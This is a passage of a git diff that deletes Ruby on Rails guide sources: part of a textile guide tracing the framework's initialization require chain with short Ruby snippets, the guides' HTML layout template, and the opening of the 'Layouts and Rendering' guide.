-The +ActiveSupport::FileUpdateChecker+ class defined within this file is responsible for checking if a file has been updated since it was last checked. This is used for monitoring the routes file for changes during development environment runs.
-
-h4. +railties/lib/rails/plugin.rb+
-
-This file defines +Rails::Plugin+ which inherits from +Rails::Engine+. Unlike +Rails::Engine+ and +Rails::Railtie+ however, this class is not designed to be inherited from. Instead, this is used simply for loading plugins from within an application and an engine.
-
-This file begins by requiring +rails/engine.rb+
-
-h4. +railties/lib/rails/engine.rb+
-
-The +rails/engine.rb+ file defines the +Rails::Engine+ class which inherits from +Rails::Railtie+. The +Rails::Engine+ class defines much of the functionality found within a standard application class such as the +routes+ and +config+ methods.
-
-The "API documentation":http://api.rubyonrails.org/classes/Rails/Engine.html for +Rails::Engine+ explains the function of this class pretty well.
-
-This file's first line requires +rails/railtie.rb+.
-
-h4. +railties/lib/rails/railtie.rb+
-
-The +rails/railtie.rb+ file is responsible for defining +Rails::Railtie+, the underlying class for all ties to Rails now. Gems that want to have their own initializers or rake tasks and hook into Rails should have a +GemName::Railtie+ class that inherits from +Rails::Railtie+.
-
-The "API documentation":http://api.rubyonrails.org/classes/Rails/Railtie.html for +Rails::Railtie+, much like +Rails::Engine+, explains this class exceptionally well.
-
-The first require in this file is +rails/initializable.rb+.
-
-h4. +railties/lib/rails/initializable.rb+
-
-Now we reach the end of this particular rabbit hole as +rails/initializable.rb+ doesn't require any more Rails files, only +tsort+ from the Ruby standard library.
-
-This file defines the +Rails::Initializable+ module which contains the +Initializer+ class, the basis for all initializers in Rails. This module also contains a +ClassMethods+ class which will be included into the +Rails::Railtie+ class when these requires have finished.
-
-Now that +rails/initializable.rb+ has finished being required from +rails/railtie.rb+, the next require is for +rails/configuration+.
-
-h4. +railties/lib/rails/configuration.rb+
-
-This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":http://guides.rubyonrails.org/configuring.html#configuring-generators.
-
-The first file required in this file is +activesupport/deprecation+.
-
-h4. +activesupport/lib/active_support/deprecation.rb+
-
-This file, and the files it requires, define the basic deprecation warning features found in Rails. This file is responsible for setting defaults in the +ActiveSupport::Deprecation+ module for the +deprecation_horizon+, +silenced+ and +debug+ values. The files that are required before this happens are:
-
-* +active_support/deprecation/behaviors+
-* +active_support/deprecation/reporting+
-* +active_support/deprecation/method_wrappers+
-* +active_support/deprecation/proxy_wrappers+
-
-h4. +activesupport/lib/active_support/deprecation/behaviors.rb+
-
-This file defines the behavior of the +ActiveSupport::Deprecation+ module, setting up the +DEFAULT_BEHAVIORS+ hash constant which contains the three defaults to outputting deprecation warnings: +:stderr+, +:log+ and +:notify+. This file begins by requiring +activesupport/notifications+ and +activesupport/core_ext/array/wrap+.
-
-h4. +activesupport/lib/active_support/notifications.rb+
-
-This file defines the +ActiveSupport::Notifications+ module. Notifications provides an instrumentation API for Ruby, shipping with a queue implementation that consumes and publish events to log subscribers in a thread.
-
-The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines.
-
-The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation.
-
-h4. +activesupport/core_ext/array/wrap+
-
-As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#wrapping
-
-h4. +activesupport/lib/active_support/deprecation/reporting.rb+
-
-This file is responsible for defining the +warn+ and +silence+ methods for +ActiveSupport::Deprecation+ as well as additional private methods for this module.
-
-h4. +activesupport/lib/active_support/deprecation/method_wrappers.rb+
-
-This file defines a +deprecate_methods+ which is primarily used by the +module/deprecation+ core extension required by the first line of this file. Other core extensions required by this file are the +module/aliasing+ and +array/extract_options+ files.
-
-h4. +activesupport/lib/active_support/deprecation/proxy_wrappers.rb+
-
-+proxy_wrappers.rb+ defines deprecation wrappers for methods, instance variables and constants. Previously, this was used for the +RAILS_ENV+ and +RAILS_ROOT+ constants for 3.0 but since then these constants have been removed. The deprecation message that would be raised from these would be something like:
-
-<plain>
- BadConstant is deprecated! Use GoodConstant instead.
-</plain>
-
-h4. +active_support/ordered_options+
-
-This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like.
-
-The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#deep_dup
-
-The file that is required next from is +rails/paths+
-
-h4. +railties/lib/rails/paths.rb+
-
-This file defines the +Rails::Paths+ module which allows paths to be configured for a Rails application or engine. Later on in this guide when we cover Rails configuration during the initialization process we'll see this used to set up some default paths for Rails and some of them will be configured to be eager loaded.
-
-h4. +railties/lib/rails/rack.rb+
-
-The final file to be loaded by +railties/lib/rails/configuration.rb+ is +rails/rack+ which defines some simple autoloads:
-
-<ruby>
-module Rails
- module Rack
- autoload :Debugger, "rails/rack/debugger"
- autoload :Logger, "rails/rack/logger"
- autoload :LogTailer, "rails/rack/log_tailer"
- autoload :Static, "rails/rack/static"
- end
-end
-</ruby>
-
-Once this file is finished loading, then the +Rails::Configuration+ class is initialized. This completes the loading of +railties/lib/rails/configuration.rb+ and now we jump back to the loading of +railties/lib/rails/railtie.rb+, where the next file loaded is +active_support/inflector+.
-
-h4. +activesupport/lib/active_support/inflector.rb+
-
-+active_support/inflector.rb+ requires a series of file which are responsible for setting up the basics for knowing how to pluralize and singularize words. These files are:
-
-<ruby>
-require 'active_support/inflector/inflections'
-require 'active_support/inflector/transliterate'
-require 'active_support/inflector/methods'
-
-require 'active_support/inflections'
-require 'active_support/core_ext/string/inflections'
-</ruby>
-
-The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. The +activesupport/lib/active_support/inflector/inflections.rb+ is required by +active_support/inflector/methods+.
-
-h4. +active_support/inflections+
-
-This file references the +ActiveSupport::Inflector+ constant which isn't loaded by this point. But there were autoloads set up in +activesupport/lib/active_support.rb+ which will load the file which loads this constant and so then it will be defined. Then this file defines pluralization and singularization rules for words in Rails. This is how Rails knows how to pluralize "tomato" to "tomatoes".
-
-h4. +activesupport/lib/active_support/inflector/transliterate.rb+
-
-In this file is where the "+transliterate+":http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-transliterate and +parameterize+:http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-parameterize methods are defined. The documentation for both of these methods is very much worth reading.
-
-h4. Back to +railties/lib/rails/railtie.rb+
-
-Once the inflector files have been loaded, the +Rails::Railtie+ class is defined. This class includes a module called +Initializable+, which is actually +Rails::Initializable+. This module includes the +initializer+ method which is used later on for setting up initializers, amongst other methods.
-
-h4. +railties/lib/rails/initializable.rb+
-
-When the module from this file (+Rails::Initializable+) is included, it extends the class it's included into with the +ClassMethods+ module inside of it. This module defines the +initializer+ method which is used to define initializers throughout all of the railties. This file completes the loading of +railties/lib/rails/railtie.rb+. Now we go back to +rails/engine.rb+.
-
-h4. +railties/lib/rails/engine.rb+
-
-The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation.
-
-The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+.
-
-h4. +railties/lib/rails/engine/railties.rb+
-
-This file defines the +Rails::Engine::Railties+ class which provides the +engines+ and +railties+ methods which are used later on for defining rake tasks and other functionality for engines and railties.
-
-h4. Back to +railties/lib/rails/engine.rb+
-
-Once +rails/engine/railties.rb+ has finished loading the +Rails::Engine+ class gets its basic functionality defined, such as the +inherited+ method which will be called when this class is inherited from.
-
-Once this file has finished loading we jump back to +railties/lib/rails/plugin.rb+
-
-h4. Back to +railties/lib/rails/plugin.rb+
-
-The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":http://guides.rubyonrails.org/active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide.
-
-Once that file has finished loading, the +Rails::Plugin+ class is defined.
-
-h4. Back to +railties/lib/rails/application.rb+
-
-Jumping back to +rails/application.rb+ now. This file defines the +Rails::Application+ class where the application's class inherits from. This class (and its superclasses) define the basic behaviour on the application's constant such as the +config+ method used for configuring the application.
-
-Once this file's done then we go back to the +railties/lib/rails.rb+ file, which next requires +rails/version+.
-
-h4. +railties/lib/rails/version.rb+
-
-Much like +active_support/version+, this file defines the +VERSION+ constant which has a +STRING+ constant on it which returns the current version of Rails.
-
-Once this file has finished loading we go back to +railties/lib/rails.rb+ which then requires +active_support/railtie.rb+.
-
-h4. +activesupport/lib/active_support/railtie.rb+
-
-This file requires +active_support+ and +rails+ which have already been required so these two lines are effectively ignored. The third require in this file is to +active_support/i18n_railtie.rb+.
-
-h4. +activesupport/lib/active_support/i18n_railtie.rb+
-
-This file is the first file that sets up configuration with these lines inside the class:
-
-<ruby>
-class Railtie < Rails::Railtie
- config.i18n = ActiveSupport::OrderedOptions.new
- config.i18n.railties_load_path = []
- config.i18n.load_path = []
- config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
-</ruby>
-
-By inheriting from +Rails::Railtie+ the +Rails::Railtie#inherited+ method is called:
-
-<ruby>
-def inherited(base)
- unless base.abstract_railtie?
- base.send(:include, Railtie::Configurable)
- subclasses << base
- end
-end
-</ruby>
-
-This first checks if the Railtie that's inheriting it is a component of Rails itself:
-
-<ruby>
-ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Plugin Rails::Engine Rails::Application)
-
-...
-
-def abstract_railtie?
- ABSTRACT_RAILTIES.include?(name)
-end
-</ruby>
-
-Because +I18n::Railtie+ isn't in this list, +abstract_railtie?+ returns +false+. Therefore the +Railtie::Configurable+ module is included into this class and the +subclasses+ method is called and +I18n::Railtie+ is added to this new array.
-
-<ruby>
-def subclasses
- @subclasses ||= []
-end
-</ruby>
-
-The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this:
-
-<ruby>
-def config
- @config ||= Railtie::Configuration.new
-end
-</ruby>
-
-At this point, that +Railtie::Configuration+ constant is automatically loaded which causes the +rails/railties/configuration+ file to be loaded. The line for this is this particular line in +railties/lib/rails/railtie.rb+:
-
-<ruby>
-autoload :Configuration, "rails/railtie/configuration"
-</ruby>
-
-h4. +railties/lib/rails/railtie/configuration.rb+
-
-This file begins with a require out to +rails/configuration+ which has already been required earlier in the process and so isn't required again.
-
-This file defines the +Rails::Railtie::Configuration+ class which is responsible for providing a way to easily configure railties and it's the +initialize+ method here which is called by the +config+ method back in the +i18n_railtie.rb+ file. The methods on this object don't exist, and so are rescued by the +method_missing+ defined further down in +configuration.rb+:
-
-<ruby>
-def method_missing(name, *args, &blk)
- if name.to_s =~ /=$/
- @@options[$`.to_sym] = args.first
- elsif @@options.key?(name)
- @@options[name]
- else
- super
- end
-end
-</ruby>
-
-So therefore when an option is referred to it simply stores the value as the key if it's used in a setter context, or retrieves it if used in a getter context. Nothing fancy going on there.
-
-h4. Back to +activesupport/lib/active_support/i18n_railtie.rb+
-
-After the configuration method the +reloader+ method is defined, and then the first of of Railties' initializers is defined: +i18n.callbacks+.
-
-<ruby>
-initializer "i18n.callbacks" do
- ActionDispatch::Reloader.to_prepare do
- I18n::Railtie.reloader.execute_if_updated
- end
-end
-</ruby>
-
-The +initializer+ method (from the +Rails::Initializable+ module) here doesn't run the block, but rather stores it to be run later on:
-
-<ruby>
-def initializer(name, opts = {}, &blk)
- raise ArgumentError, "A block must be passed when defining an initializer" unless blk
- opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
- initializers << Initializer.new(name, nil, opts, &blk)
-end
-</ruby>
-
-An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer].
-
-The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables:
-
-<ruby>
-def initialize(name, context, options, &block)
- @name, @context, @options, @block = name, context, options, block
-end
-</ruby>
-
-Once this +initialize+ method is finished, the object is added to the object the +initializers+ method returns:
-
-<ruby>
-def initializers
- @initializers ||= self.class.initializers_for(self)
-end
-</ruby>
-
-If +@initializers+ isn't set (which it won't be at this point), the +intializers_for+ method will be called for this class.
-
-<ruby>
-def initializers_for(binding)
- Collection.new(initializers_chain.map { |i| i.bind(binding) })
-end
-</ruby>
-
-The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +Array+ and includes the +TSort+ module which is used to sort out the order of the initializers based on the order they are placed in.
-
-The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this:
-
-<ruby>
-def initializers_chain
- initializers = Collection.new
- ancestors.reverse_each do | klass |
- next unless klass.respond_to?(:initializers)
- initializers = initializers + klass.initializers
- end
- initializers
-end
-</ruby>
-
-This method collects the initializers from the ancestors of this class and adds them to a new +Collection+ object using the <tt>+</tt> method which is defined like this for the <tt>Collection</tt> class:
-
-<ruby>
-def +(other)
- Collection.new(to_a + other.to_a)
-end
-</ruby>
-
-So this <tt>+</tt> method is overridden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer.
-
-The next method to be called after this +initializer+ method is the +after_initialize+ method on the +config+ object, which is defined like this:
-
-<ruby>
-def after_initialize(&block)
- ActiveSupport.on_load(:after_initialize, :yield => true, &block)
-end
-</ruby>
-
-The +on_load+ method here is provided by the +active_support/lazy_load_hooks+ file which was required earlier and is defined like this:
-
-<ruby>
-def self.on_load(name, options = {}, &block)
- if base = @loaded[name]
- execute_hook(base, options, block)
- else
- @load_hooks[name] << [block, options]
- end
-end
-</ruby>
-
-The +@loaded+ variable here is a hash containing elements representing the different components of Rails that have been loaded at this stage. Currently, this hash is empty. So the +else+ is executed here, using the +@load_hooks+ variable defined in +active_support/lazy_load_hooks+:
-
-<ruby>
-@load_hooks = Hash.new {|h,k| h[k] = [] }
-</ruby>
-
-This defines a new hash which has keys that default to empty arrays. This saves Rails from having to do something like this instead:
-
-<ruby>
-@load_hooks[name] = []
-@load_hooks[name] << [block, options]
-</ruby>
-
-The value added to this array here consists of the block and options passed to +after_initialize+.
-
-We'll see these +@load_hooks+ used later on in the initialization process.
-
-This rest of +i18n_railtie.rb+ defines the protected class methods +include_fallback_modules+, +init_fallbacks+ and +validate_fallbacks+.
-
-h4. Back to +activesupport/lib/active_support/railtie.rb+
-
-This file defines the +ActiveSupport::Railtie+ constant which like the +I18n::Railtie+ constant just defined, inherits from +Rails::Railtie+ meaning the +inherited+ method would be called again here, including +Rails::Configurable+ into this class. This class makes use of +Rails::Railtie+'s +config+ method again, setting up the configuration options for Active Support.
-
-Then this Railtie sets up three more initializers:
-
-* +active_support.initialize_whiny_nils+
-* +active_support.deprecation_behavior+
-* +active_support.initialize_time_zone+
-
-We will cover what each of these initializers do when they run.
-
-Once the +active_support/railtie+ file has finished loading the next file required from +railties/lib/rails.rb+ is the +action_dispatch/railtie+.
-
-h4. +activesupport/lib/action_dispatch/railtie.rb+
-
-This file defines the +ActionDispatch::Railtie+ class, but not before requiring +action_dispatch+.
-
-h4. +activesupport/lib/action_dispatch.rb+
-
-This file attempts to locate the +active_support+ and +active_model+ libraries by looking a couple of directories back from the current file and then adds the +active_support+ and +active_model+ +lib+ directories to the load path, but only if they aren't already, which they are.
-
-<ruby>
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-</ruby>
-
-In effect, these lines only define the +activesupport_path+ and +activemodel_path+ variables and nothing more.
-
-The next two requires in this file are already done, so they are not run:
-
-<ruby>
-require 'active_support'
-require 'active_support/dependencies/autoload'
-</ruby>
-
-The following require is to +action_pack+ (+activesupport/lib/action_pack.rb+) which has a 22-line copyright notice at the top of it and ends in a simple require to +action_pack/version+. This file, like other +version.rb+ files before it, defines the +ActionPack::VERSION+ constant:
-
-<ruby>
-module ActionPack
- module VERSION #:nodoc:
- MAJOR = 3
- MINOR = 1
- TINY = 0
- PRE = "beta"
-
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
- end
-end
-</ruby>
-
-Once +action_pack+ is finished, then +active_model+ is required.
-
-h4. +activemodel/lib/active_model.rb+
-
-This file makes a require to +active_model/version+ which defines the version for Active Model:
-
-<ruby>
-module ActiveModel
- module VERSION #:nodoc:
- MAJOR = 3
- MINOR = 1
- TINY = 0
- PRE = "beta"
-
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
- end
-end
-</ruby>
-
-Once the +version.rb+ file is loaded, the +ActiveModel+ module has its autoloaded constants defined as well as a sub-module called +ActiveModel::Serializers+ which has autoloads of its own. When the +ActiveModel+ module is closed the +active_support/i18n+ file is required.
-
-h4. +activesupport/lib/active_support/i18n.rb+
-
-This is where the +i18n+ gem is required and first configured:
-
-<ruby>
-begin
- require 'i18n'
- require 'active_support/lazy_load_hooks'
-rescue LoadError => e
- $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install"
- raise e
-end
-
-I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
-</ruby>
-
-In effect, the +I18n+ module first defined by +i18n_railtie+ is extended by the +i18n+ gem, rather than the other way around. This has no ill effect. They both work on the same way.
-
-This is another spot where +active_support/lazy_load_hooks+ is required, but it has already been required so it's not loaded again.
-
-If +i18n+ cannot be loaded, the user is presented with an error which says that it cannot be loaded and recommends that it's added to the +Gemfile+. However, in a normal Rails application this gem would be loaded.
-
-Once it has finished loading, the +I18n.load_path+ method is used to add the +activesupport/lib/active_support/locale/en.yml+ file to I18n's load path. When the translations are loaded in the initialization process, this is one of the files where they will be sourced from.
-
-The loading of this file finishes the loading of +active_model+ and so we go back to +action_dispatch+.
-
-h4. Back to +activesupport/lib/action_dispatch.rb+
-
-The remainder of this file requires the +rack+ file from the Rack gem which defines the +Rack+ module. After +rack+, there's autoloads defined for the +Rack+, +ActionDispatch+, +ActionDispatch::Http+, +ActionDispatch::Session+. A new method called +autoload_under+ is used here, and this simply prefixes the files where the modules are autoloaded from with the path specified. For example here:
-
-<ruby>
-autoload_under 'testing' do
- autoload :Assertions
-...
-</ruby>
-
-The +Assertions+ module is in the +action_dispatch/testing+ folder rather than simply +action_dispatch+.
-
-Finally, this file defines a top-level autoload, the +Mime+ constant.
-
-h4. Back to +activesupport/lib/action_dispatch/railtie.rb+
-
-After +action_dispatch+ is required in this file, the +ActionDispatch::Railtie+ class is defined and is yet another class that inherits from +Rails::Railtie+. This class defines some initial configuration option defaults for +config.action_dispatch+ before setting up a single initializer called +action_dispatch.configure+.
-
-With +action_dispatch/railtie+ now complete, we go back to +railties/lib/rails.rb+.
-
-h4. Back to +railties/lib/rails.rb+
-
-With the Active Support and Action Dispatch railties now both loaded, the rest of this file deals with setting up UTF-8 to be the default encoding for Rails and then finally setting up the +Rails+ module. This module defines useful methods such as +Rails.logger+, +Rails.application+, +Rails.env+, and +Rails.root+.
-
-h4. Back to +railties/lib/rails/all.rb+
-
-Now that +rails.rb+ is required, the remaining railties are loaded next, beginning with +active_record/railtie+.
-
-h4. +activerecord/lib/active_record/railtie.rb+
-
-Before this file gets into the swing of defining the +ActiveRecord::Railtie+ class, there are a couple of files that are required first. The first one of these is +active_record+.
-
-h4. +activerecord/lib/active_record.rb+
-
-This file begins by detecting if the +lib+ directories of +active_support+ and +active_model+ are not in the load path and if they aren't then adds them. As we saw back in +action_dispatch.rb+, these directories are already there.
-
-The first three requires have already been done by other files and so aren't loaded here, but the 4th require, the one to +arel+ will require the file provided by the Arel gem, which defines the +Arel+ module.
-
-<ruby>
-require 'active_support'
-require 'active_support/i18n'
-require 'active_model'
-require 'arel'
-</ruby>
-
-The 5th require in this file is one to +active_record/version+ which defines the +ActiveRecord::VERSION+ constant:
-
-<ruby>
-module ActiveRecord
- module VERSION #:nodoc:
- MAJOR = 3
- MINOR = 1
- TINY = 0
- PRE = "beta"
-
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
- end
-end
-</ruby>
-
-Once these requires are finished, the base for the +ActiveRecord+ module is defined along with its autoloads.
-
-Near the end of the file, we see this line:
-
-<ruby>
-ActiveSupport.on_load(:active_record) do
- Arel::Table.engine = self
-end
-</ruby>
-
-This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+.
-
-The file then finishes with this line:
-
-<ruby>
-I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
-</ruby>
-
-This will add the translations from +activerecord/lib/active_record/locale/en.yml+ to the load path for +I18n+, with this file being parsed when all the translations are loaded.
-
-h4. Back to +activerecord/lib/active_record/railtie.rb+
-
-The next two <tt>require</tt>s in this file aren't run because their files are already required, with +rails+ being required by +rails/all+ and +active_model/railtie+ being required from +action_dispatch+.
-
-<ruby>
-require "rails"
-require "active_model/railtie"
-</ruby>
-
-The next +require+ in this file is to +action_controller/railtie+.
-
-h4. +actionpack/lib/action_controller/railtie.rb+
-
-This file begins with a couple more requires to files that have already been loaded:
-
-<ruby>
-require "rails"
-require "action_controller"
-require "action_dispatch/railtie"
-</ruby>
-
-However the require after these is to a file that hasn't yet been loaded, +action_view/railtie+, which begins by requiring +action_view+.
-
-h4. +actionpack/lib/action_view.rb+
-
-+action_view.rb+
diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb
deleted file mode 100644
index 4c979888b7..0000000000
--- a/railties/guides/source/layout.html.erb
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
- "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-
-<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
-
-<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
-</head>
-<body class="guide">
- <% if @edge %>
- <div>
- <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
- </div>
- <% end %>
- <div id="topNav">
- <div class="wrapper">
- <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
- <a href="http://rubyonrails.org/">Overview</a> |
- <a href="http://rubyonrails.org/download">Download</a> |
- <a href="http://rubyonrails.org/deploy">Deploy</a> |
- <a href="https://github.com/rails/rails">Code</a> |
- <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
- <a href="http://rubyonrails.org/documentation">Documentation</a> |
- <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
- <a href="http://rubyonrails.org/community">Community</a> |
- <a href="http://weblog.rubyonrails.org/">Blog</a>
- </div>
- </div>
- <div id="header">
- <div class="wrapper clearfix">
- <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
- <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
- <ul class="nav">
- <li><a href="index.html">Home</a></li>
- <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
- <div id="guides" class="clearfix" style="display: none;">
- <hr />
- <dl class="L">
- <dt>Start Here</dt>
- <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
- <dt>Models</dt>
- <dd><a href="migrations.html">Rails Database Migrations</a></dd>
- <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
- <dd><a href="association_basics.html">Active Record Associations</a></dd>
- <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
- <dt>Views</dt>
- <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
- <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
- <dt>Controllers</dt>
- <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
- <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
- </dl>
- <dl class="R">
- <dt>Digging Deeper</dt>
- <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
- <dd><a href="i18n.html">Rails Internationalization API</a></dd>
- <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
- <dd><a href="testing.html">Testing Rails Applications</a></dd>
- <dd><a href="security.html">Securing Rails Applications</a></dd>
- <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
- <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
- <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
- <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
- <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
- <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
-
- <dt>Extending Rails</dt>
- <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
- <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
- <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
-
- <dt>Contributing to Ruby on Rails</dt>
- <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
- <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
- <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
-
- <dt>Release Notes</dt>
- <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
- <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
- <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
- <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
- </dl>
- </div>
- </li>
- <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
- <li><a href="credits.html">Credits</a></li>
- </ul>
- </div>
- </div>
- <hr class="hide" />
-
- <div id="feature">
- <div class="wrapper">
- <%= yield :header_section %>
-
- <%= yield :index_section %>
- </div>
- </div>
-
- <div id="container">
- <div class="wrapper">
- <div id="mainCol">
- <%= yield.html_safe %>
-
- <h3>Feedback</h3>
- <p>
- You're encouraged to help improve the quality of this guide.
- </p>
- <p>
- If you see any typos or factual errors you are confident to
- patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %>
- and push the change yourself. That branch of Rails has public write access.
- Commits are still reviewed, but that happens after you've submitted your
- contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is
- cross-merged with master periodically.
- </p>
- <p>
- You may also find incomplete content, or stuff that is not up to date.
- Please do add any missing documentation for master. Check the
- <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
- for style and conventions.
- </p>
- <p>
- If for whatever reason you spot something to fix but cannot patch it yourself, please
- <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
- </p>
- <p>And last but not least, any kind of discussion regarding Ruby on Rails
- documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
- </p>
- </div>
- </div>
- </div>
-
- <hr class="hide" />
- <div id="footer">
- <div class="wrapper">
- <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
- <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
- </div>
- </div>
-
- <script type="text/javascript" src="javascripts/guides.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
- <script type="text/javascript">
- SyntaxHighlighter.all()
- </script>
-</body>
-</html>
diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile
deleted file mode 100644
index 69ef05104c..0000000000
--- a/railties/guides/source/layouts_and_rendering.textile
+++ /dev/null
@@ -1,1196 +0,0 @@
-h2. Layouts and Rendering in Rails
-
-This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
-
-* Use the various rendering methods built into Rails
-* Create layouts with multiple content sections
-* Use partials to DRY up your views
-* Use nested layouts (sub-templates)
-
-endprologue.
-
-h3. Overview: How the Pieces Fit Together
-
-This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
-
